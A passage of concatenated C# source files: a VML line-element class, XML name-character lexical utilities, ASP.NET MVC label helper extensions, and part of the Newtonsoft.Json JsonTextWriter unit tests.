Console.WriteLine($" firstOp: ({string.Join(", ", firstOp)})"); Console.WriteLine($" result: ({string.Join(", ", result)})"); Console.WriteLine(); } } } }
using System; using System.ComponentModel; using System.Drawing; using GuruComponents.Netrix.ComInterop; using Comzept.Genesis.NetRix.VgxDraw; using GuruComponents.Netrix.VmlDesigner; using GuruComponents.Netrix.VmlDesigner.DataTypes; using GuruComponents.Netrix; namespace GuruComponents.Netrix.VmlDesigner.Elements { /// <summary> /// This element is used to specify a straight line. /// </summary> [ToolboxItem(false)] public class LineElement : PredefinedElement { /// <summary> /// Not used, returns always null. /// </summary> [Browsable(false)] public override VgFillFormat Fill { get { return null; } } /// <summary> /// /// </summary> [Browsable(false)] public override float Opacity { get { return 0F; } set { throw new NotImplementedException("Opacity is not defined for Line elements"); } } /// <summary> /// /// </summary> [Browsable(false)] public override Color FillColor { get { return this.StrokeColor; } set { this.StrokeColor = value; } } /// <summary> /// /// </summary> [Browsable(false)] public override Color ChromaKey { get { return Color.Empty; } set { throw new NotImplementedException("Chromakey is not defined for Line elements"); } } /// <summary> /// /// </summary> [Browsable(true)] [EditorAttribute( typeof(GuruComponents.Netrix.UserInterface.TypeEditors.UITypeEditorUnit), typeof(System.Drawing.Design.UITypeEditor))] public override System.Web.UI.WebControls.Unit Top { get { return base.Top; } set { base.Top = value; } } /// <summary> /// /// </summary> [Browsable(true)] [EditorAttribute( typeof(GuruComponents.Netrix.UserInterface.TypeEditors.UITypeEditorUnit), typeof(System.Drawing.Design.UITypeEditor))] public override System.Web.UI.WebControls.Unit Left { get { return base.Left; } set { base.Left = value; } } /// <summary> /// /// </summary> [Browsable(true)] [EditorAttribute( typeof(GuruComponents.Netrix.UserInterface.TypeEditors.UITypeEditorUnit), typeof(System.Drawing.Design.UITypeEditor))] public override System.Web.UI.WebControls.Unit Height { get { return base.Height; } set { base.Height = value; } } /// <summary> /// /// </summary> [Browsable(true)] [EditorAttribute( typeof(GuruComponents.Netrix.UserInterface.TypeEditors.UITypeEditorUnit), typeof(System.Drawing.Design.UITypeEditor))] public override System.Web.UI.WebControls.Unit Width { get { return base.Width; } set { base.Width = value; } } /// <summary> /// Gets or sets the start point of the element. /// </summary> /// <remarks> /// <seealso cref="To"/> /// </remarks> [Browsable(true), TypeConverter(typeof(ExpandableObjectConverter)), Category("Element Layout")] public virtual GuruComponents.Netrix.VmlDesigner.DataTypes.VgVector2D To { get { return new VgVector2D((IVgVector2D) GetAttribute("to")); } set { SetAttribute("to", value.NativeVector); } } /// <summary> /// Gets or sets the start point of the element. /// </summary> /// <remarks> /// <seealso cref="To"/> /// </remarks> [Browsable(true), TypeConverter(typeof(ExpandableObjectConverter)), Category("Element Layout")] public virtual GuruComponents.Netrix.VmlDesigner.DataTypes.VgVector2D From { get { return new VgVector2D((IVgVector2D) GetAttribute("from")); } set { SetAttribute("from", value.NativeVector); } } /// <summary> /// Create new instance of element. /// </summary> /// <param name="newTag">Tag name</param> /// <param name="editor">Editor reference</param> protected LineElement(string name, IHtmlEditor editor) : base(name, editor) { } /// <summary> /// Create new instance of element. /// </summary> /// <param name="editor">Editor reference</param> public LineElement(IHtmlEditor editor) : base("v:line", editor) { } internal LineElement(Interop.IHTMLElement peer, IHtmlEditor editor) : base(peer, editor) { } } }
using System; namespace Hydra.Framework.XmlSerialization.XPointer { // //********************************************************************** /// <summary> /// Lexical utilities. /// </summary> //********************************************************************** // internal class LexUtils { #region private members private const int FSTARTNAME = 1; private const int FNAME = 2; private const string _NameChars = "\u002d\u002e\u0030\u003a\u0041\u005a\u005f\u005f" + "\u0061\u007a\u00b7\u00b7\u00c0\u00d6\u00d8\u00f6" + "\u00f8\u0131\u0134\u013e\u0141\u0148\u014a\u017e" + "\u0180\u01c3\u01cd\u01f0\u01f4\u01f5\u01fa\u0217" + "\u0250\u02a8\u02bb\u02c1\u02d0\u02d1\u0300\u0345" + "\u0360\u0361\u0386\u038a\u038c\u038c\u038e\u03a1" + "\u03a3\u03ce\u03d0\u03d6\u03da\u03da\u03dc\u03dc" + "\u03de\u03de\u03e0\u03e0\u03e2\u03f3\u0401\u040c" + "\u040e\u044f\u0451\u045c\u045e\u0481\u0483\u0486" + "\u0490\u04c4\u04c7\u04c8\u04cb\u04cc\u04d0\u04eb" + "\u04ee\u04f5\u04f8\u04f9\u0531\u0556\u0559\u0559" + "\u0561\u0586\u0591\u05a1\u05a3\u05b9\u05bb\u05bd" + "\u05bf\u05bf\u05c1\u05c2\u05c4\u05c4\u05d0\u05ea" + "\u05f0\u05f2\u0621\u063a\u0640\u0652\u0660\u0669" + "\u0670\u06b7\u06ba\u06be\u06c0\u06ce\u06d0\u06d3" + "\u06d5\u06e8\u06ea\u06ed\u06f0\u06f9\u0901\u0903" + "\u0905\u0939\u093c\u094d\u0951\u0954\u0958\u0963" + "\u0966\u096f\u0981\u0983\u0985\u098c\u098f\u0990" + "\u0993\u09a8\u09aa\u09b0\u09b2\u09b2\u09b6\u09b9" + "\u09bc\u09bc\u09be\u09c4\u09c7\u09c8\u09cb\u09cd" + "\u09d7\u09d7\u09dc\u09dd\u09df\u09e3\u09e6\u09f1" + "\u0a02\u0a02\u0a05\u0a0a\u0a0f\u0a10\u0a13\u0a28" + "\u0a2a\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39" + "\u0a3c\u0a3c\u0a3e\u0a42\u0a47\u0a48\u0a4b\u0a4d" + "\u0a59\u0a5c\u0a5e\u0a5e\u0a66\u0a74\u0a81\u0a83" + "\u0a85\u0a8b\u0a8d\u0a8d\u0a8f\u0a91\u0a93\u0aa8" + "\u0aaa\u0ab0\u0ab2\u0ab3\u0ab5\u0ab9\u0abc\u0ac5" + "\u0ac7\u0ac9\u0acb\u0acd\u0ae0\u0ae0\u0ae6\u0aef" + "\u0b01\u0b03\u0b05\u0b0c\u0b0f\u0b10\u0b13\u0b28" + "\u0b2a\u0b30\u0b32\u0b33\u0b36\u0b39\u0b3c\u0b43" + "\u0b47\u0b48\u0b4b\u0b4d\u0b56\u0b57\u0b5c\u0b5d" + "\u0b5f\u0b61\u0b66\u0b6f\u0b82\u0b83\u0b85\u0b8a" + "\u0b8e\u0b90\u0b92\u0b95\u0b99\u0b9a\u0b9c\u0b9c" + "\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8\u0baa\u0bae\u0bb5" + "\u0bb7\u0bb9\u0bbe\u0bc2\u0bc6\u0bc8\u0bca\u0bcd" + "\u0bd7\u0bd7\u0be7\u0bef\u0c01\u0c03\u0c05\u0c0c" + "\u0c0e\u0c10\u0c12\u0c28\u0c2a\u0c33\u0c35\u0c39" + "\u0c3e\u0c44\u0c46\u0c48\u0c4a\u0c4d\u0c55\u0c56" + "\u0c60\u0c61\u0c66\u0c6f\u0c82\u0c83\u0c85\u0c8c" + "\u0c8e\u0c90\u0c92\u0ca8\u0caa\u0cb3\u0cb5\u0cb9" + "\u0cbe\u0cc4\u0cc6\u0cc8\u0cca\u0ccd\u0cd5\u0cd6" + "\u0cde\u0cde\u0ce0\u0ce1\u0ce6\u0cef\u0d02\u0d03" + "\u0d05\u0d0c\u0d0e\u0d10\u0d12\u0d28\u0d2a\u0d39" + "\u0d3e\u0d43\u0d46\u0d48\u0d4a\u0d4d\u0d57\u0d57" + "\u0d60\u0d61\u0d66\u0d6f\u0e01\u0e2e\u0e30\u0e3a" + "\u0e40\u0e4e\u0e50\u0e59\u0e81\u0e82\u0e84\u0e84" + "\u0e87\u0e88\u0e8a\u0e8a\u0e8d\u0e8d\u0e94\u0e97" + "\u0e99\u0e9f\u0ea1\u0ea3\u0ea5\u0ea5\u0ea7\u0ea7" + "\u0eaa\u0eab\u0ead\u0eae\u0eb0\u0eb9\u0ebb\u0ebd" + "\u0ec0\u0ec4\u0ec6\u0ec6\u0ec8\u0ecd\u0ed0\u0ed9" + "\u0f18\u0f19\u0f20\u0f29\u0f35\u0f35\u0f37\u0f37" + "\u0f39\u0f39\u0f3e\u0f47\u0f49\u0f69\u0f71\u0f84" + "\u0f86\u0f8b\u0f90\u0f95\u0f97\u0f97\u0f99\u0fad" + "\u0fb1\u0fb7\u0fb9\u0fb9\u10a0\u10c5\u10d0\u10f6" + "\u1100\u1100\u1102\u1103\u1105\u1107\u1109\u1109" + "\u110b\u110c\u110e\u1112\u113c\u113c\u113e\u113e" + "\u1140\u1140\u114c\u114c\u114e\u114e\u1150\u1150" + "\u1154\u1155\u1159\u1159\u115f\u1161\u1163\u1163" + "\u1165\u1165\u1167\u1167\u1169\u1169\u116d\u116e" + "\u1172\u1173\u1175\u1175\u119e\u119e\u11a8\u11a8" + "\u11ab\u11ab\u11ae\u11af\u11b7\u11b8\u11ba\u11ba" + "\u11bc\u11c2\u11eb\u11eb\u11f0\u11f0\u11f9\u11f9" + "\u1e00\u1e9b\u1ea0\u1ef9\u1f00\u1f15\u1f18\u1f1d" + "\u1f20\u1f45\u1f48\u1f4d\u1f50\u1f57\u1f59\u1f59" + "\u1f5b\u1f5b\u1f5d\u1f5d\u1f5f\u1f7d\u1f80\u1fb4" + "\u1fb6\u1fbc\u1fbe\u1fbe\u1fc2\u1fc4\u1fc6\u1fcc" + "\u1fd0\u1fd3\u1fd6\u1fdb\u1fe0\u1fec\u1ff2\u1ff4" + "\u1ff6\u1ffc\u20d0\u20dc\u20e1\u20e1\u2126\u2126" + "\u212a\u212b\u212e\u212e\u2180\u2182\u3005\u3005" + "\u3007\u3007\u3021\u302f\u3031\u3035\u3041\u3094" + "\u3099\u309a\u309d\u309e\u30a1\u30fa\u30fc\u30fe" + "\u3105\u312c\u4e00\u9fa5\uac00\ud7a3"; private const string _NameStartChars = "\u003a\u003a\u0041\u005a\u005f\u005f\u0061\u007a" + "\u00c0\u00d6\u00d8\u00f6\u00f8\u0131\u0134\u013e" + "\u0141\u0148\u014a\u017e\u0180\u01c3\u01cd\u01f0" + "\u01f4\u01f5\u01fa\u0217\u0250\u02a8\u02bb\u02c1" + "\u0386\u0386\u0388\u038a\u038c\u038c\u038e\u03a1" + "\u03a3\u03ce\u03d0\u03d6\u03da\u03da\u03dc\u03dc" + "\u03de\u03de\u03e0\u03e0\u03e2\u03f3\u0401\u040c" + "\u040e\u044f\u0451\u045c\u045e\u0481\u0490\u04c4" + "\u04c7\u04c8\u04cb\u04cc\u04d0\u04eb\u04ee\u04f5" + "\u04f8\u04f9\u0531\u0556\u0559\u0559\u0561\u0586" + "\u05d0\u05ea\u05f0\u05f2\u0621\u063a\u0641\u064a" + "\u0671\u06b7\u06ba\u06be\u06c0\u06ce\u06d0\u06d3" + "\u06d5\u06d5\u06e5\u06e6\u0905\u0939\u093d\u093d" + "\u0958\u0961\u0985\u098c\u098f\u0990\u0993\u09a8" + "\u09aa\u09b0\u09b2\u09b2\u09b6\u09b9\u09dc\u09dd" + "\u09df\u09e1\u09f0\u09f1\u0a05\u0a0a\u0a0f\u0a10" + "\u0a13\u0a28\u0a2a\u0a30\u0a32\u0a33\u0a35\u0a36" + "\u0a38\u0a39\u0a59\u0a5c\u0a5e\u0a5e\u0a72\u0a74" + "\u0a85\u0a8b\u0a8d\u0a8d\u0a8f\u0a91\u0a93\u0aa8" + "\u0aaa\u0ab0\u0ab2\u0ab3\u0ab5\u0ab9\u0abd\u0abd" + "\u0ae0\u0ae0\u0b05\u0b0c\u0b0f\u0b10\u0b13\u0b28" + "\u0b2a\u0b30\u0b32\u0b33\u0b36\u0b39\u0b3d\u0b3d" + "\u0b5c\u0b5d\u0b5f\u0b61\u0b85\u0b8a\u0b8e\u0b90" + "\u0b92\u0b95\u0b99\u0b9a\u0b9c\u0b9c\u0b9e\u0b9f" + "\u0ba3\u0ba4\u0ba8\u0baa\u0bae\u0bb5\u0bb7\u0bb9" + "\u0c05\u0c0c\u0c0e\u0c10\u0c12\u0c28\u0c2a\u0c33" + "\u0c35\u0c39\u0c60\u0c61\u0c85\u0c8c\u0c8e\u0c90" + "\u0c92\u0ca8\u0caa\u0cb3\u0cb5\u0cb9\u0cde\u0cde" + "\u0ce0\u0ce1\u0d05\u0d0c\u0d0e\u0d10\u0d12\u0d28" + "\u0d2a\u0d39\u0d60\u0d61\u0e01\u0e2e\u0e30\u0e30" + "\u0e32\u0e33\u0e40\u0e45\u0e81\u0e82\u0e84\u0e84" + "\u0e87\u0e88\u0e8a\u0e8a\u0e8d\u0e8d\u0e94\u0e97" + "\u0e99\u0e9f\u0ea1\u0ea3\u0ea5\u0ea5\u0ea7\u0ea7" + "\u0eaa\u0eab\u0ead\u0eae\u0eb0\u0eb0\u0eb2\u0eb3" + "\u0ebd\u0ebd\u0ec0\u0ec4\u0f40\u0f47\u0f49\u0f69" + "\u10a0\u10c5\u10d0\u10f6\u1100\u1100\u1102\u1103" + "\u1105\u1107\u1109\u1109\u110b\u110c\u110e\u1112" + "\u113c\u113c\u113e\u113e\u1140\u1140\u114c\u114c" + "\u114e\u114e\u1150\u1150\u1154\u1155\u1159\u1159" + "\u115f\u1161\u1163\u1163\u1165\u1165\u1167\u1167" + "\u1169\u1169\u116d\u116e\u1172\u1173\u1175\u1175" + "\u119e\u119e\u11a8\u11a8\u11ab\u11ab\u11ae\u11af" + "\u11b7\u11b8\u11ba\u11ba\u11bc\u11c2\u11eb\u11eb" + "\u11f0\u11f0\u11f9\u11f9\u1e00\u1e9b\u1ea0\u1ef9" + "\u1f00\u1f15\u1f18\u1f1d\u1f20\u1f45\u1f48\u1f4d" + "\u1f50\u1f57\u1f59\u1f59\u1f5b\u1f5b\u1f5d\u1f5d" + "\u1f5f\u1f7d\u1f80\u1fb4\u1fb6\u1fbc\u1fbe\u1fbe" + "\u1fc2\u1fc4\u1fc6\u1fcc\u1fd0\u1fd3\u1fd6\u1fdb" + "\u1fe0\u1fec\u1ff2\u1ff4\u1ff6\u1ffc\u2126\u2126" + "\u212a\u212b\u212e\u212e\u2180\u2182\u3007\u3007" + "\u3021\u3029\u3041\u3094\u30a1\u30fa\u3105\u312c" + "\u4e00\u9fa5\uac00\ud7a3"; private static byte[] _chars; static LexUtils() { _chars = new byte[65536]; SetChars(_NameStartChars, FSTARTNAME); SetChars(_NameChars, FNAME); } private static void SetChars(string ranges, byte value) { for (int p = 0; p < ranges.Length; p += 2) { for (int i = ranges[p], last = ranges[p + 1]; i <= last; i++) _chars[i] |= value; } } #endregion #region public members // //********************************************************************** /// <summary> /// Checks if given character is XML 1.0 whitespace character. /// </summary> //********************************************************************** // public static bool IsWhitespace(char ch) { return (ch <= 0x0020) && (((((1L << 0x0009) | (1L << 0x000A) | (1L << 0x000C) | (1L << 0x000D) | (1L << 0x0020)) >> ch) & 1L) != 0); } public static bool IsStartNameChar(char ch) { return (_chars[ch] & FSTARTNAME) != 0; } public static bool IsStartNCNameChar(char ch) { return IsStartNameChar(ch) && ch != ':'; } public static bool IsNameChar(char ch) { return (_chars[ch] & FNAME) != 0; } public static bool IsNCNameChar(char ch) { return IsNameChar(ch) && ch != ':'; } #endregion } }
#region License /* The MIT License Copyright (c) 2008 Sky Morey Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion using System.Linq; using System.Linq.Expressions; using System.Text; using System.Collections.Generic; using System.Web.Routing; #if !MVC2 using HtmlHelperKludge = System.Web.Mvc.HtmlHelper; #endif namespace System.Web.Mvc.Html { /// <summary> /// LabelExtensionsEx /// </summary> public static class LabelExtensionsEx { // LABELEX /// <summary> /// Labels the ex. /// </summary> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="expression">The expression.</param> /// <returns></returns> public static MvcHtmlString LabelEx(this HtmlHelper htmlHelper, string expression) { return LabelEx(htmlHelper, expression, (IDictionary<string, object>)null, null); } /// <summary> /// Labels the ex. /// </summary> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="expression">The expression.</param> /// <param name="htmlAttributes">The HTML attributes.</param> /// <returns></returns> public static MvcHtmlString LabelEx(this HtmlHelper htmlHelper, string expression, IDictionary<string, object> htmlAttributes) { return LabelEx(htmlHelper, expression, htmlAttributes, null); } /// <summary> /// Labels the ex. /// </summary> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="expression">The expression.</param> /// <param name="htmlAttributes">The HTML attributes.</param> /// <param name="metadataModifer">The metadata modifer.</param> /// <returns></returns> public static MvcHtmlString LabelEx(this HtmlHelper htmlHelper, string expression, IDictionary<string, object> htmlAttributes, Action<ModelMetadata> metadataModifer) { IEnumerable<ILabelViewModifier> modifier; var metadata = ModelMetadata.FromStringExpression(expression, htmlHelper.ViewData); if (metadata != null && metadata.TryGetExtent<IEnumerable<ILabelViewModifier>>(out modifier)) modifier.MapLabelToHtmlAttributes(ref expression, ref htmlAttributes); if (metadataModifer != null) metadataModifer(metadata); return LabelHelperEx(htmlHelper, metadata, expression, htmlAttributes); } /// <summary> /// Labels the ex. /// </summary> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="expression">The expression.</param> /// <param name="htmlAttributes">The HTML attributes.</param> /// <returns></returns> public static MvcHtmlString LabelEx(this HtmlHelper htmlHelper, string expression, object htmlAttributes) { return LabelEx(htmlHelper, expression, (IDictionary<string, object>)HtmlHelperKludge.AnonymousObjectToHtmlAttributes(htmlAttributes), null); } /// <summary> /// Labels the ex. /// </summary> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="expression">The expression.</param> /// <param name="htmlAttributes">The HTML attributes.</param> /// <param name="metadataModifer">The metadata modifer.</param> /// <returns></returns> public static MvcHtmlString LabelEx(this HtmlHelper htmlHelper, string expression, object htmlAttributes, Action<ModelMetadata> metadataModifer) { return LabelEx(htmlHelper, expression, (IDictionary<string, object>)HtmlHelperKludge.AnonymousObjectToHtmlAttributes(htmlAttributes), metadataModifer); } // LABELFOREX /// <summary> /// Labels for ex. /// </summary> /// <typeparam name="TModel">The type of the model.</typeparam> /// <typeparam name="TProperty">The type of the property.</typeparam> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="expression">The expression.</param> /// <returns></returns> public static MvcHtmlString LabelForEx<TModel, TProperty>(this HtmlHelper<TModel> htmlHelper, Expression<Func<TModel, TProperty>> expression) { return LabelForEx<TModel, TProperty>(htmlHelper, expression, (IDictionary<string, object>)null, null); } /// <summary> /// Labels for ex. /// </summary> /// <typeparam name="TModel">The type of the model.</typeparam> /// <typeparam name="TProperty">The type of the property.</typeparam> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="expression">The expression.</param> /// <param name="htmlAttributes">The HTML attributes.</param> /// <returns></returns> public static MvcHtmlString LabelForEx<TModel, TProperty>(this HtmlHelper<TModel> htmlHelper, Expression<Func<TModel, TProperty>> expression, IDictionary<string, object> htmlAttributes) { return LabelForEx<TModel, TProperty>(htmlHelper, expression, htmlAttributes, null); } /// <summary> /// Labels for ex. /// </summary> /// <typeparam name="TModel">The type of the model.</typeparam> /// <typeparam name="TProperty">The type of the property.</typeparam> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="expression">The expression.</param> /// <param name="htmlAttributes">The HTML attributes.</param> /// <param name="metadataModifer">The metadata modifer.</param> /// <returns></returns> public static MvcHtmlString LabelForEx<TModel, TProperty>(this HtmlHelper<TModel> htmlHelper, Expression<Func<TModel, TProperty>> expression, IDictionary<string, object> htmlAttributes, Action<ModelMetadata> metadataModifer) { IEnumerable<ILabelViewModifier> modifier; var metadata = ModelMetadata.FromLambdaExpression<TModel, TProperty>(expression, htmlHelper.ViewData); if (metadata != null && metadata.TryGetExtent<IEnumerable<ILabelViewModifier>>(out modifier)) modifier.MapLabelToHtmlAttributes(ref expression, ref htmlAttributes); if (metadataModifer != null) metadataModifer(metadata); return LabelHelperEx(htmlHelper, metadata, ExpressionHelper.GetExpressionText(expression), htmlAttributes); } /// <summary> /// Labels for ex. /// </summary> /// <typeparam name="TModel">The type of the model.</typeparam> /// <typeparam name="TProperty">The type of the property.</typeparam> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="expression">The expression.</param> /// <param name="htmlAttributes">The HTML attributes.</param> /// <returns></returns> public static MvcHtmlString LabelForEx<TModel, TProperty>(this HtmlHelper<TModel> htmlHelper, Expression<Func<TModel, TProperty>> expression, object htmlAttributes) { return LabelForEx<TModel, TProperty>(htmlHelper, expression, (IDictionary<string, object>)HtmlHelperKludge.AnonymousObjectToHtmlAttributes(htmlAttributes), null); } /// <summary> /// Labels for ex. /// </summary> /// <typeparam name="TModel">The type of the model.</typeparam> /// <typeparam name="TProperty">The type of the property.</typeparam> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="expression">The expression.</param> /// <param name="htmlAttributes">The HTML attributes.</param> /// <param name="metadataModifer">The metadata modifer.</param> /// <returns></returns> public static MvcHtmlString LabelForEx<TModel, TProperty>(this HtmlHelper<TModel> htmlHelper, Expression<Func<TModel, TProperty>> expression, object htmlAttributes, Action<ModelMetadata> metadataModifer) { return LabelForEx<TModel, TProperty>(htmlHelper, expression, (IDictionary<string, object>)HtmlHelperKludge.AnonymousObjectToHtmlAttributes(htmlAttributes), metadataModifer); } // LABELFORMODELEX /// <summary> /// Labels for model ex. /// </summary> /// <param name="htmlHelper">The HTML helper.</param> /// <returns></returns> public static MvcHtmlString LabelForModelEx(this HtmlHelper htmlHelper) { return LabelForModelEx(htmlHelper, null); } /// <summary> /// Labels for model ex. /// </summary> /// <param name="htmlHelper">The HTML helper.</param> /// <param name="metadataModifer">The metadata modifer.</param> /// <returns></returns> public static MvcHtmlString LabelForModelEx(this HtmlHelper htmlHelper, Action<ModelMetadata> metadataModifer) { return LabelHelperEx(htmlHelper, htmlHelper.ViewData.ModelMetadata, string.Empty, null); } internal static MvcHtmlString LabelHelperEx(HtmlHelper htmlHelper, ModelMetadata metadata, string htmlFieldName, IDictionary<string, object> htmlAttributes) { var text = (metadata.DisplayName ?? (metadata.PropertyName ?? htmlFieldName.Split(new char[] { '.' }).Last<string>())); if (string.IsNullOrEmpty(text)) return MvcHtmlString.Empty; var templateInfo = htmlHelper.ViewContext.ViewData.TemplateInfo; var fullFieldName = templateInfo.GetFullHtmlFieldName(htmlFieldName); var labelTag = new TagBuilder("label"); labelTag.MergeAttributes<string, object>(htmlAttributes); ModelState state; if (!string.IsNullOrEmpty(fullFieldName) && htmlHelper.ViewData.ModelState.TryGetValue(fullFieldName, out state) && state.Errors.Count > 0) labelTag.AddCssClass(MvcExtensions.ValidationLabelCssClassName); labelTag.Attributes.Add("for", CreateSanitizedID(templateInfo.GetFullHtmlFieldId(htmlFieldName), HtmlHelper.IdAttributeDotReplacement)); labelTag.SetInnerText(text); return labelTag.ToMvcHtmlString(TagRenderMode.Normal); } #region from tagbuilder private static class Html401IdUtil { private static bool IsAllowableSpecialCharacter(char c) { var ch = c; return !(ch != '-' && ch != ':' && ch != '_'); } private static bool IsDigit(char c) { return ('0' <= c && c <= '9'); } public static bool IsLetter(char c) { return (('A' <= c && c <= 'Z') || ('a' <= c && c <= 'z')); } public static bool IsValidIdCharacter(char c) { return (!IsLetter(c) && !IsDigit(c) ? IsAllowableSpecialCharacter(c) : true); } } internal static string CreateSanitizedID(string originalId, string dotReplacement) { if (string.IsNullOrEmpty(originalId)) return null; var c = originalId[0]; if (!Html401IdUtil.IsLetter(c)) return null; var b = new StringBuilder(originalId.Length); b.Append(c); for (int i = 1; i < originalId.Length; i++) { var ch2 = originalId[i]; if (Html401IdUtil.IsValidIdCharacter(ch2)) b.Append(ch2); else b.Append(dotReplacement); } return b.ToString(); } #endregion } }
#region License // Copyright (c) 2007 James Newton-King // // Permission is hereby granted, free of charge, to any person // obtaining a copy of this software and associated documentation // files (the "Software"), to deal in the Software without // restriction, including without limitation the rights to use, // copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following // conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES // OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT // HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, // WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR // OTHER DEALINGS IN THE SOFTWARE. #endregion using System; using System.Collections.Generic; using System.Diagnostics; using System.Globalization; #if NET20 using Newtonsoft.Json.Utilities.LinqBridge; #else using System.Linq; #endif using System.Runtime.Serialization; using System.Text; using System.Xml; #if NETFX_CORE using Microsoft.VisualStudio.TestPlatform.UnitTestFramework; using TestFixture = Microsoft.VisualStudio.TestPlatform.UnitTestFramework.TestClassAttribute; using Test = Microsoft.VisualStudio.TestPlatform.UnitTestFramework.TestMethodAttribute; #elif DNXCORE50 using Xunit; using Test = Xunit.FactAttribute; using Assert = Newtonsoft.Json.Tests.XUnitAssert; #else using NUnit.Framework; #endif using Newtonsoft.Json; using System.IO; using Newtonsoft.Json.Converters; using Newtonsoft.Json.Utilities; namespace Newtonsoft.Json.Tests { [TestFixture] public class JsonTextWriterTest : TestFixtureBase { [Test] public void BufferTest() { JsonTextReaderTest.FakeArrayPool arrayPool = new JsonTextReaderTest.FakeArrayPool(); string longString = new string('A', 2000); string longEscapedString = "Hello!" + new string('!', 50) + new string('\n', 1000) + "Good bye!"; string longerEscapedString = "Hello!" + new string('!', 2000) + new string('\n', 1000) + "Good bye!"; for (int i = 0; i < 1000; i++) { StringWriter sw = new StringWriter(CultureInfo.InvariantCulture); using (JsonTextWriter writer = new JsonTextWriter(sw)) { writer.ArrayPool = arrayPool; writer.WriteStartObject(); writer.WritePropertyName("Prop1"); writer.WriteValue(new DateTime(2000, 12, 12, 12, 12, 12, DateTimeKind.Utc)); writer.WritePropertyName("Prop2"); writer.WriteValue(longString); writer.WritePropertyName("Prop3"); writer.WriteValue(longEscapedString); writer.WritePropertyName("Prop4"); writer.WriteValue(longerEscapedString); writer.WriteEndObject(); } if ((i + 1) % 100 == 0) { Console.WriteLine("Allocated buffers: " + arrayPool.FreeArrays.Count); } } Assert.AreEqual(0, arrayPool.UsedArrays.Count); Assert.AreEqual(3, arrayPool.FreeArrays.Count); } [Test] public void NewLine() { MemoryStream ms = new MemoryStream(); using (var streamWriter = new StreamWriter(ms, new UTF8Encoding(false)) { NewLine = "\n" }) using (var jsonWriter = new JsonTextWriter(streamWriter) { CloseOutput = true, Indentation = 2, Formatting = Formatting.Indented }) { jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("prop"); jsonWriter.WriteValue(true); jsonWriter.WriteEndObject(); } byte[] data = ms.ToArray(); string json = Encoding.UTF8.GetString(data, 0, data.Length); Assert.AreEqual(@"{" + '\n' + @" ""prop"": true" + '\n' + "}", json); } [Test] public void QuoteNameAndStrings() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); JsonTextWriter writer = new JsonTextWriter(sw) { QuoteName = false }; writer.WriteStartObject(); writer.WritePropertyName("name"); writer.WriteValue("value"); writer.WriteEndObject(); writer.Flush(); Assert.AreEqual(@"{name:""value""}", sb.ToString()); } [Test] public void CloseOutput() { MemoryStream ms = new MemoryStream(); JsonTextWriter writer = new JsonTextWriter(new StreamWriter(ms)); Assert.IsTrue(ms.CanRead); writer.Close(); Assert.IsFalse(ms.CanRead); ms = new MemoryStream(); writer = new JsonTextWriter(new StreamWriter(ms)) { CloseOutput = false }; Assert.IsTrue(ms.CanRead); writer.Close(); Assert.IsTrue(ms.CanRead); } #if !(PORTABLE) [Test] public void WriteIConvertable() { var sw = new StringWriter(); JsonTextWriter writer = new JsonTextWriter(sw); writer.WriteValue(new ConvertibleInt(1)); Assert.AreEqual("1", sw.ToString()); } #endif [Test] public void ValueFormatting() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.WriteStartArray(); jsonWriter.WriteValue('@'); jsonWriter.WriteValue("\r\n\t\f\b?{\\r\\n\"\'"); jsonWriter.WriteValue(true); jsonWriter.WriteValue(10); jsonWriter.WriteValue(10.99); jsonWriter.WriteValue(0.99); jsonWriter.WriteValue(0.000000000000000001d); jsonWriter.WriteValue(0.000000000000000001m); jsonWriter.WriteValue((string)null); jsonWriter.WriteValue((object)null); jsonWriter.WriteValue("This is a string."); jsonWriter.WriteNull(); jsonWriter.WriteUndefined(); jsonWriter.WriteEndArray(); } string expected = @"[""@"",""\r\n\t\f\b?{\\r\\n\""'"",true,10,10.99,0.99,1E-18,0.000000000000000001,null,null,""This is a string."",null,undefined]"; string result = sb.ToString(); Assert.AreEqual(expected, result); } [Test] public void NullableValueFormatting() { StringWriter sw = new StringWriter(); using (JsonTextWriter jsonWriter = new JsonTextWriter(sw)) { 